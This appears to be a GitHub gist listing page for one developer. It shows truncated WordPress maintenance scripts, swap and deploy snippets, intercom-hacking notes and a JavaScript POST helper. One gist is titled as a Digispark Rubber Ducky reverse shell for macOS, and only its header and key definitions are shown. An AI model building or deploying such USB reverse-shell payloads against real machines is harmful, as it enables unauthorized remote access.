Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am speeddragon on github.
  • I am speeddragon (https://keybase.io/speeddragon) on keybase.
  • I have a public key whose fingerprint is E6D3 F63A 471A 2E5D DD00 897E 6652 D464 A01F B2B9

To claim this, I am signing this object:

@speeddragon
speeddragon / clean_trash.php
Created April 16, 2015 11:26
Delete all wordpress trash posts
<?php
include_once('wp-config.php');
$trash = get_posts('post_status=trash&numberposts=-1');
echo "Post count: " . count($trash) . "\n";
foreach($trash as $post) {
wp_delete_post($post->ID, $bypass_trash = true);
}
@speeddragon
speeddragon / gist:2d0ca42a3e2e70de1b4e
Last active October 16, 2015 09:48
Change link from old domain to new domain link in Wordpress
<?php
# Change link from old domain to new domain in Wordpress
require_once('wp-config.php');
global $wpdb;
$newDomain = "newdomain.com";
$oldDomain = "olddomain.com";
# Posts
$query = "SELECT ID, post_content FROM wp_posts WHERE post_content LIKE '%" . $oldDomain . "%';";
free
dd if=/dev/zero of=/var/swap.img bs=1024k count=1000
mkswap /var/swap.img
swapon /var/swap.img
free
make -f makefile.unix
Favorit themes
sonicradish.zsh-theme ( Orange, Futuristic )
fino-time.zsh-theme ( Green / Blue, Futuristic )
af-magic.zsh-theme (Blue / Gray, Modern)
cloud.zsh-theme (Green)
@speeddragon
speeddragon / maxmind_csv_to_mysql.php
Created September 30, 2016 23:36
Convert CSV to MySQL database for MaxMind GeoLite2
<?php
function calculateEndIp($startIp, $mask) {
if (($min = ip2long($startIp)) !== false) {
$max = ($min | (1<<(32-$mask))-1);
$address = long2ip($max);
return $address;
}
}
// Read country to memory
Objective: Open door with a NodeMCU.
Images
------
Intercomunicator: http://www.farfisa-shop.co.uk/53-143-large/km8262w-b-w-videointercom-for-duo-syst-compact.jpg
Motherboard: https://imgur.com/a/fK46p
Documents
---------
Videointercoms with integrated coding for DUO system - www.farfisa.com/images/pdf/mi2334.pdf
@speeddragon
speeddragon / travis_edeliver_deploy.sh
Last active April 3, 2018 14:32
Travis CI - Edeliver (elixir) Deploy
#!/bin/bash
if [ $? -eq 0 ]; then
echo "Travis Branch: $TRAVIS_BRANCH"
DEPLOY_BRANCH="develop"
if [ "$TRAVIS_BRANCH" == "$DEPLOY_BRANCH" ] && [ "$TRAVIS_PULL_REQUEST" == "false" ]; then
# Hot swap need to know what is the current version
echo " :: Edeliver: Build"
#mix edeliver build upgrade
mix edeliver build release --branch=$DEPLOY_BRANCH
@speeddragon
speeddragon / digispark_osx_reverse_shell.ino
Created May 1, 2018 20:07
Digispark Rubber Ducky OSX Reverse Shell PT Layout with ZSH
/*
This is an example of reverse shell for OSX with bypass of ZSH issues.
This code is for Portuguese (PT) layout keyboards.
Using Digispark USB.
*/
#include "DigiKeyboard.h"
#define KEY_TAB 43
#define KEY_DELETE 76
@speeddragon
speeddragon / javascript_post_commie.js
Created June 10, 2018 16:18
POST XML Request to Commie
function send_to_pastebin(captcha) {
var url = "https://commie.io/lib/router.php";
var threadId = "ImQCbHa1";
var post = "do=savecomment&uid=" + threadId + "&comment=" + captcha + "&line=0&user=" + guid;
var request = new XMLHttpRequest();
request.open("POST", url, true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.onreadystatechange = function() {//Call a function when the state changes.